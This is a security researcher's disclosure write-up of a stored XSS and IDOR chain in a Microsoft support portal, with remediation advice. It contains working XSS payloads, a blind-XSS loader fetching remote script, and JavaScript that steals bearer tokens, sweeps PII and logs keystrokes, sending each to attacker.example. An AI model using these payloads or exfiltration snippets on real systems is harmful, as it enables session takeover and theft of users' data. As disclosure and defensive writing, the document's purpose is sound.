OffSecLabs

Stored XSS in Microsoft ESI Support Portal: From Client-Side Filter Bypass to Cross-User Takeover

M

Muhammad Hasan

17 min read · Oct 11, 2026

Cover for Stored XSS in Microsoft ESI Support Portal: From Client-Side Filter Bypass to Cross-User Takeover

Stored XSS in Microsoft ESI Support Portal: From Client-Side Filter Bypass to Cross-User Takeover

Disclosure note: Reported to Microsoft via HackerOne / MSRC. All JWTs, ContactIDs, emails, and subscription keys below are redacted. Payloads are benign markers (alert, onerror beacons). Do not test against accounts you do not own.

TL;DR

Fact Detail
Target https://esisupport.microsoft.com/en-US/ (Power Pages + DynaDesk)
Write primitive POST https://apim-dynadesk-prod.azure-api.net/dynadeskprod/api/external/createonesupportcase
Parameter CreateCase.IssueDescription
Type Stored XSS, CWE-79
Root cause GUI-only < > keystroke filter; API stores raw HTML; list + dashboard render via unescaped innerHTML
Triggers /, /cases (My Cases), /createcases, agent dashboard
CSP None — inline scripts + external loads + exfil all allowed
CVSS 3.1 8.2 High at first report → 9.1 Critical after chain → ≈10.0 Critical for F25 unauth variant (§7.5)
Upgrade chain Token theft → PII exfil → agent takeover → cross-user XSS (GetCases IDOR + email attribution) → attachment MIME bypass

One sentence: validate on the client, trust on the server, render as HTML — and one learner account reaches agent sessions and other users' mailboxes.


0. Architecture (what talks to what)

┌──────────────┐   1. login (Entra ID)    ┌──────────────────────────┐
│   Learner    │ ───────────────────────▶ │ esisupport.microsoft.com │
│   browser    │                          │  (Power Pages portal)    │
└──────┬───────┘ ◀── 2. cases page ─────── │  renders Description     │
       │            innerHTML sink        │  via ${...Description}    │
       │                                  └────────────┬─────────────┘
       │ 3. POST createonesupportcase                 │ 4. forwards
       │    (Bearer JWT + sub key)                    ▼
       │                          ┌──────────────────────────────┐
       └─────────────────────────▶│ apim-dynadesk-prod           │
                                  │ .azure-api.net (APIM)        │
                                  └──────────────┬───────────────┘
                                                 │ 5. backend
                                                 ▼
                                  ┌──────────────────────────────┐
                                  │ app-dynadeskwebapi-prod      │
                                  │ .azurewebsites.net + Dynamics│
                                  │ asklearning.crm.dynamics.com │
                                  └──────────────────────────────┘

Key observation: the portal is a thin renderer. The security boundary is the APIM API, not the page JS. The page JS filter is cosmetic.


1. Recon: finding the real API

In DevTools → Network, creating a case fires:

POST /dynadeskprod/api/external/createonesupportcase
Host: apim-dynadesk-prod.azure-api.net
Origin: https://asklearning.microsoftcrmportals.com

Headers of interest:

Header Value / note
Authorization Bearer <JWT> — minted via POST /_services/auth/token?client_id=7e48f8be-… with cookies
Ocp-Apim-Subscription-Key Static key embedded in portal JS (treated as public; still redacted here)
Ocp-Apim-Trace: true Returns an Azure blob URL with the full backend trace including JWT — info leak, disable in prod
Access-Control-Allow-Origin https://asklearning.microsoftcrmportals.com only (not esisupport.microsoft.com)

Supporting endpoints found in page JS:

Endpoint Purpose
GET .../GetCases?ContactEmail=X&ContactID=Y Cases list (IDOR — see §7)
POST .../resolvecase / reopencase State changes (validates email ownership — see §7.4)
POST /_services/auth/token Mints the DynaDesk Bearer from portal cookies
/_api/, /_api/data/v9.1/ 400/500 — portal Web API disabled (good)

2. The first clue: GUI says no, API says yes

In Create Case → Description, typing < or > does nothing — a keystroke handler eats them. Natural first test:

  • GUI blocks <img src=x onerror=alert(1)> — cannot type it
  • Intercept with Burp, send the same field raw — accepted, 200 OK, case created
  • Open My Cases — alert fires on list render

Minimal write primitive (redacted, copy-pasteable shape):

POST /dynadeskprod/api/external/createonesupportcase HTTP/1.1
Host: apim-dynadesk-prod.azure-api.net
Authorization: Bearer <REDACTED_JWT>
Ocp-Apim-Subscription-Key: <REDACTED>
Content-Type: application/json
Origin: https://asklearning.microsoftcrmportals.com

{
  "Attachments": [],
  "CreateCase": {
    "SupportAreaPath": "36914f5f-d271-5c8e-f7b4-6d18ccb2c747",
    "SupportCountry": "US",
    "SupportLanguage": "en-US",
    "Title": "XSS",
    "CourseName": "None",
    "UserType": "Learner",
    "IssueDescription": "</div><img src=x onerror=alert('XSS-POC-123')>",
    "IssueContext": {
      "UserTimeZoneIssueOccurred": "Sat Jul 04 2026 02:41:52 GMT+0000",
      "UserDeviceType": "PC",
      "UserOSBrowserVersion": "Linux -,Chrome 144.0.0.0"
    },
    "Customers": [
      {
        "Contacts": [
          {
            "ContactId": "<REDACTED>",
            "Email": "researcher@example.com",
            "FirstName": "Researcher",
            "LastName": "Test",
            "IsPrimaryContact": true
          }
        ]
      }
    ]
  }
}

Response:

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8

2607040040000143

A 200 + case number with <> intact in storage is the whole vulnerability. Everything after this is impact.


3. Sink analysis: where it fires

The cases page builds rows by string-concatenating server data into HTML. Two sinks (line numbers from the served bundle at time of testing):

# Location Sink pattern (simplified) Fires when
1 cases page, ~line 1187 <span style="display:none">${OpenCases[i].Description}</span> On page load — no click needed
2 case modal, ~line 1120 <div tabindex="0">${OpenCases[i].Description}</div> On opening the case

Execution matrix:

Page Fires?
/ (Home) ✅
/cases (My Cases) ✅
/createcases (Create Case) ✅
Agent dashboard ✅

No textContent, no sanitizer, no CSP. The </div> prefix in the payload escapes the surrounding card markup so the <img> parses as live HTML.


4. Proving it is stored (not reflected): blind XSS

Marker payload (URL-encoded in JSON, exactly like the app sends it):

// IssueDescription value used for the blind probe (case 2607310040001028)
"</div><img src=x onerror=\"var s=document.createElement('script');s.src='https://js.offseclabs.codes/?t=rlritd3tth';document.head.appendChild(s)\">"

NeXSS collector results (self-session baseline):

UTC window Callbacks Origin Verdict
2026-07-31T06:28–06:29Z 12+ esisupport.microsoft.com/en-US/cases/ ✅ Stored — fires on list load
2026-07-31T06:31–07:25Z 28 total (27 learner + 1 unknown) same ✅ Reproducible on revisit
Agent origin (!= esisupport) 0 in window — ⚠️ Not observed in window; learner + dashboard sinks confirmed separately

Each callback captured uri, origin, referer, user-agent, cookies (ai_user, MC1, MUID, …), DOM snapshot, and screenshot — proving arbitrary JS execution in an authenticated session, not just a dialog box.


5. Escalation map

# Escalation Primitive Impact
E1 Bearer theft → ATO on API fetch('/_services/auth/token?...', {credentials:'include'}) → exfil JWT → replay via curl Act as victim: list/create/close cases
E2 PII exfil document.body.innerText + regex → fetch(attacker) Case numbers, titles, emails, names
E3 CORS bypass Steal first, call server-to-server (no browser) APIM origin allowlist irrelevant
E4 Site-wide persistence Payload on every authed page Keylogger / form hijack
E5 No-CSP abuse External <script src>, eval, image beacons Full exfil channel
E6 Agent takeover Staff opens poisoned case All-customer PII, admin APIs
E7 Cross-user stored XSS Email attribution + GetCases IDOR (§7) Victim's list renders attacker's payload
E7b Unauthenticated write + read (F25 chain, §7.5) Key-only, no JWT, direct to backend No account needed: plant XSS + dump 126 cases
E8 Attachment MIME bypass probe.html as text/html → 200 Second stored-XSS door aimed at staff
E9 Info disclosure Invalid CID → .NET stack trace + CRM URL + build path Target intel for follow-ons

6. E1–E6 in code (concepts, not weaponized)

6.1 Token theft

// Runs in victim session via the stored XSS
const r = await fetch('/_services/auth/token?client_id=7e48f8be-7eda-4ced-8cb6-05536e254373', {
  method: 'POST',
  credentials: 'include'
});
const { token } = await r.json();
// also mirrored: sessionStorage.getItem('c2Token')
await fetch('https://attacker.example/collect', {
  method: 'POST',
  body: JSON.stringify({ jwt: token })
});

Verified: the exfiltrated JWT creates cases from a VPS with plain curl — no CORS, no cookies. JWT claims include sub (user ID), email, display name, and scope. HttpOnly cookies would not have stopped this; the token is reachable via a first-party API.

6.2 PII sweep

const text = document.body.innerText;
const emails = text.match(/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}/g) || [];
const cases = [...document.querySelectorAll('[data-case-number]')].map(el => el.textContent);
navigator.sendBeacon('https://attacker.example/exfil', JSON.stringify({ emails, cases }));

The /cases DOM already contains everything an attacker needs — no further API calls required.

6.3 Why CORS does not save you

Browser (victim) ──XSS──▶ fetch(token) ──exfil──▶ attacker VPS
                                                  │
                                                  └── curl + Bearer ──▶ APIM API (no CORS in curl)

CORS constrains browsers, not attackers with a stolen Bearer.

6.4 Keylogger shape

document.addEventListener('keydown', e => {
  new Image().src = 'https://attacker.example/k?k=' + encodeURIComponent(e.key);
});

Because execution is site-wide (including auth-adjacent flows), keystrokes and form values are in scope.


7. Breaking self-XSS: the cross-user chain (E7)

This is the section that moves the finding from "my alert box" to "anyone's session."

7.1 Flaw A — ownership comes from the request body

createonesupportcase attributes the new case to whatever Customers[].Contacts[].Email says. No check against JWT sub.

{
  "CreateCase": { "Title": "IDOR attr probe xss-email", "IssueDescription": "<XSS payload>" },
  "Customers": [{ "Contacts": [{ "Email": "victim@example.com", "ContactId": "<ATTACKER_VALID_CID>" }] }]
}

Result: HTTP 200 → case 2608010040000454, attributed to victim@example.com, invisible in my own list.

7.2 Flaw B — GetCases trusts (ContactEmail, ContactID) params

GET /dynadeskprod/api/external/GetCases?ContactEmail=<ANY>&ContactID=<ANY> HTTP/1.1
Host: apim-dynadesk-prod.azure-api.net
Authorization: Bearer <MY_JWT sub=<MY_CID>>

Same JWT, different params, different victims' data:

ContactEmail param ContactID param Result
my email my CID ✅ 200, 13 cases (all mine)
victim@example.com my CID ✅ 200, victim-attributed cases incl. 2608010040000454
attacker-controlled@example.com my CID ✅ 200, 2 cases (1184, 1194)
empty email or empty CID any ❌ 500

APIM trace (Ocp-Apim-Trace: true) shows both params forwarded verbatim to app-dynadeskwebapi-prod.azurewebsites.net/api/external/GetCases. The JWT is validated for authentication but never used for authorization.

7.3 The chain, step by step

1. Attacker ──POST createonesupportcase──▶ Email=victim@…, IssueDescription=<XSS>
2. Server stores case under victim's email (Flaw A)
3. Victim opens /cases ──GET GetCases?ContactEmail=victim@…──▶ returns poisoned row (Flaw B)
4. Page renders Description via innerHTML sink (§3) ──▶ XSS executes in victim session
5. Payload steals token (E1) + PII (E2) ──▶ full victim ATO

7.4 Write-side control (important nuance)

Operation Cross-email attempt Result
GetCases (read) Any email + my CID ✅ 200 — vulnerable (IDOR)
createonesupportcase (attribute) Any email ✅ 200 — vulnerable (attribution)
resolvecase / reopencase (write) Case 1184 + my email ❌ 500 — validates ownership

Write IDOR is not confirmed; read + create flaws are. Report exactly that — overclaiming burns credibility.

7.5 F25: unauthenticated write + read — no account needed

This is the escalation that removes the last prerequisite: the attacker needs no learner account at all. Only the public subscription key, which ships in anonymous page HTML.

Prereq — key in anon HTML. GET /en-US/cases/ with no cookies returns 200 with isPortalUserLoggedIn = 'False' and three occurrences of:

xhr.setRequestHeader("Ocp-Apim-Subscription-Key", "<REDACTED>");

Anyone who can load the login page has the key.

Bypass point — APIM vs backend. Probing both hosts with the same key-only requests (f25_probe.sh, sequential, read-only):

Host Key-only GetCases With dummy JWT Verdict
apim-dynadesk-prod.azure-api.net/dynadeskprod/... ❌ 401 JWT not present ❌ 401 validate-jwt ✅ Gated
app-dynadeskwebapi-prod.azurewebsites.net/api/... ✅ 200 ✅ 200 ❌ No auth — backend reachable directly

The APIM gateway enforces JWT. The backend App Service behind it does not — and it is reachable over the internet.

Unauth write (poc-73698). Key only, no Authorization header, straight to the backend:

POST /api/external/createonesupportcase HTTP/1.1
Host: app-dynadeskwebapi-prod.azurewebsites.net
Ocp-Apim-Subscription-Key: <REDACTED>
Content-Type: application/json

{
  "Attachments": [
    { "FileName": "sec_test.txt", "MediaType": "text/plain",
      "Base64String": "data:text/plain;base64,S0FL", "FileSize": "3" }
  ],
  "CreateCase": {
    "SupportAreaPath": "529d3f7d-1522-1071-6f82-ac854cf39fa1",
    "SupportCountry": "US",
    "SupportLanguage": "en-US",
    "Title": "SECURITY TEST F25 BURP 45427",
    "CourseName": "",
    "UserType": "Learner",
    "IssueDescription": "unauthenticated write verification - burp repro",
    "IssueContext": { "UserTimeZoneIssueOccurred": "", "UserDeviceType": "", "UserOSBrowserVersion": "" },
    "Customers": [{ "Contacts": [{
      "ContactId": "<REDACTED>",
      "Email": "test@example.com",
      "FirstName": "SECURITY", "LastName": "TEST",
      "IsPrimaryContact": true }] }]
  }
}
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8

2608030040001339

Same primitive with an XSS payload instead of the benign string plants unauthenticated stored XSS (video case 2608040040001120). The IssueDescription is stored raw exactly as in §2.

Unauth read-back. Same key, same host, arbitrary identity params:

GET /api/external/GetCases?ContactEmail=<ANY>&ContactID=<ANY> HTTP/1.1
Host: app-dynadeskwebapi-prod.azurewebsites.net
Ocp-Apim-Subscription-Key: <REDACTED>
Probe Result
ContactEmail=test@example.com + known CID ✅ 200, 4 cases incl. freshly planted 2608030040001339
ContactEmail=partner@example.com + partner CID ✅ 200, 126 cases, ~392KB — case numbers, titles, descriptions, statuses, timestamps
Empty email or empty CID ❌ 500 / NullReferenceException (ownership shape still expected)

The 126-case dump (F25_partner_cases_126.json, oldest AL-162308 from 2020) is other customers' support history — readable with zero authentication.

Full F25 chain in one diagram:

1. Attacker loads /en-US/cases/ anonymously ──▶ extracts public subscription key
2. POST backend /createonesupportcase (key only, Email=victim@…, IssueDescription=<XSS>)
   ──▶ 200 + case number, attributed to victim, XSS stored raw
3. GET backend /GetCases?ContactEmail=victim@… (key only)
   ──▶ 200 + victim's full case list (PII dump, no JWT)
4. Victim / agent opens cases page ──▶ innerHTML sink (§3) fires ──▶ session takeover (E1–E6)

Assessor note on severity. The authenticated chain is CVSS 9.1 (PR:L). The F25 variant removes privileges entirely (PR:N, UI:N, S:C, C:H/I:H): scores at the top of Critical (≈10.0). Even treating the backend host as defense-in-depth rather than a supported API, the finding stands: an internet-reachable write + read path with no authentication, a public key, and stored-XSS-capable fields.

Fix for F25 specifically (in addition to §10):

  • Block direct internet ingress to app-dynadeskwebapi-prod.azurewebsites.net — only APIM should reach it (VNet / access restriction / front-door-only).
  • Require and validate the JWT on every backend controller, including createonesupportcase and GetCases — never trust the gateway alone.
  • Remove the subscription key from anonymous HTML; scope it per-session or drop it for anon users.
  • Rebind ContactEmail/ContactID from JWT sub (§10.3) so unauth callers have nothing to impersonate.

8. E8: attachment MIME bypass (second door to staff)

Client JS whitelists:

xlsx, xls, doc, docs, pdf, csv, txt, png, jpg, mp4

The API enforced nothing:

{
  "Attachments": [
    {
      "FileName": "probe.html",
      "MediaType": "text/html",
      "Base64String": "data:text/html;base64,PGh0bWw+Li4uPC9odG1sPg==",
      "FileSize": "132"
    }
  ]
}

→ HTTP 200, case created (backend forwarded, 200 after ~17.7s). An agent who downloads/opens the attachment executes the HTML/JS in their context.

E9: error + trace disclosure (recon fuel)

Invalid ContactId → HTTP 200 + body containing:

[Exception : System.ApplicationException: Request failed to retrieve the data from Dynadesk CRM
[URI: https://asklearning.crm.dynamics.com/api/data/v9.1/contacts(11111111-2222-3333-4444-555555555555)?$select=adx_identity_username
| StatusCode: NotFound ...
WWL.OneSupportIntegration/Microsoft.WWL.DynaDesk.Client/DynaDeskClient.cs:line 104
Helper.cs:line 323
DynaDeskController.cs:line 170
D:\a\1\s\DynaDesk\CustomerSupport\WWL.OneSupportIntegration\Microsoft.WWL.DynaDesk.PortalAPI\...

Plus Ocp-Apim-Trace: true returns a blob URL with the full request (JWT included). Both should be off in production.

Bonus: mass-assignment — Severity=Critical, CreationChannel=HackerProbe, UserType=Agent/Internal, CustomerType=Account, arbitrary EntitlementId/TPID all accepted with 200. Each is a follow-up probe, not a claim.


9. CVSS 3.1 breakdown

Metric Initial (8.2 High) Escalated (9.1 Critical) Why it changed
Attack Vector N N Remotely exploitable
Attack Complexity L L Trivial replay; no special conditions
Privileges Required L L Free learner account
User Interaction N N List render auto-fires (hidden span, no click)
Scope C C Portal → API → agent / other-user contexts
Confidentiality H H Tokens, case PII, agent data
Integrity L H From alert-only to API writes as victim + cross-user plant
Availability N N No DoS claimed
Initial:   AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N  → 8.2
Escalated: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N  → 9.1

10. Fix (what actually closes all of this)

10.1 Server-side sanitization + safe rendering

Validate at the trust boundary (the API), not in page JS. C# sketch:

using Ganss.Xss; // HtmlSanitizer

var sanitizer = new HtmlSanitizer();
sanitizer.AllowedTags.Clear(); // descriptions are plain text: allow nothing
sanitizer.AllowedAttributes.Clear();
createCase.IssueDescription = sanitizer.Sanitize(createCase.IssueDescription ?? "");

// Defense in depth on render (Razor / JS):
// @Html.Encode(Model.Description)  — never @Html.Raw
// element.textContent = data.description;  — never innerHTML

Or with DOMPurify if rich text is ever required:

import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(serverHtml, { ALLOWED_TAGS: [], ALLOWED_ATTR: [] });

10.2 Strict Content-Security-Policy

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'; form-action 'self'

No unsafe-inline, no wildcards. This alone would have neutered exfil + external script loads.

10.3 Authorization rebinding (kills E7)

// Derive identity from the validated JWT, ignore client values:
var sub = User.FindFirst("sub")?.Value; // ContactID from token
var email = await _contacts.GetEmailAsync(sub);
var cases = await _dynadesk.GetCasesAsync(email, sub); // never from query string

10.4 Attachment + error hardening

var allowed = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
  { ".xlsx",".xls",".doc",".docx",".pdf",".csv",".txt",".png",".jpg",".jpeg",".mp4" };
var ext = Path.GetExtension(file.FileName);
if (!allowed.Contains(ext) || !AllowedMime(file.DetectedContentType))
    return BadRequest("File type not allowed");
// serve with: Content-Disposition: attachment; Content-Type: application/octet-stream
  • Turn off Ocp-Apim-Trace in production.
  • Return generic errors (400 Case not found) — no stack traces, no CRM URLs, no build paths.

11. Hunter methodology (reusable checklist)

  • Map the real API behind the form (DevTools → Network → replay in Repeater)
  • Test server acceptance of <> independently of GUI filters
  • Trace every render location: list views, modals, dashboards, emails, exports
  • Confirm stored-ness with a blind callback (NeXSS / Collaborator), not just alert
  • Ask "who decides ownership?" — fuzz Email/ContactID against JWT sub
  • Swap read params (GetCases?ContactEmail=X&ContactID=Y) across two owned accounts
  • Test write-side too (resolve/reopen) — report the negative result honestly
  • Test attachments with mismatched extension vs MIME vs magic bytes
  • Record negative probes (SSRF collaborator: 0 hits; /_api/: disabled) — they scope the report
  • Redact secrets before publishing; use two owned accounts; never touch other users

12. Timeline

Date (UTC) Event
2026-07-03 Stored XSS confirmed in My Cases (alert('XSS-POC-123')), case 2607040040000143
2026-07-04 Direct-API PoC finalized (poc-request.txt), agent-dashboard impact noted
2026-07-22 Escalation doc: token theft, PII exfil, API abuse, site-wide execution, no-CSP
2026-07-31 Blind-XSS validation (case 2607310040001028, 12+ NeXSS callbacks); attachment bypass + mass-assignment + stack-trace disclosure logged
2026-08-01 GetCases IDOR + email-attribution chain confirmed (case 2608010040000454); CVSS raised to 9.1
2026-08-03/04 F25 unauth chain confirmed: key-only write (2608030040001339, 2608030040000586, video 2608040040001120) + key-only read-back (126 partner cases); video esichained.mp4 recorded
2026-10-11 Public write-up published (this article)

13. Evidence inventory (private case file)

Item Path / ID
Main HackerOne report microsoft-esi-stored-xss/hackerone-report.md
Raw PoC (redacted for publish) microsoft-esi-stored-xss/evidence/poc-request.txt
Alert screenshot evidence/2026-07-03_20-14.png, xsserror.png
Escalation chain microsoft-esi-stored-xss/escalation-report.md
Blind-XSS monitor log microsoft-esi-stored-xss/blind-xss-monitor-log.md
IDOR attribution proof evidence/idor-getcases-attribution.md (cases 1184, 2608010040000454)
Demo media esixss.mp4, esichained.mp4 (F25 unauth write→read chain, 3:56), xss-escalation-final.png
F25 chain hunt/burp_repro/F25_unauth_create_live.txt (2608030040001339), F25_unauth_write.txt (2608030040000586), F25_unauth_read_response.txt (126 cases), F25_key_in_anon_html.txt, hunt/r25_esisup_surf/f25/f25_probe.sh, hunt/F25_partner_cases_126.json

References


Found something similar? The pattern to grep for is: client-side filter + server-side trust + innerHTML render + ownership from request params. That quartet is worth a report every time.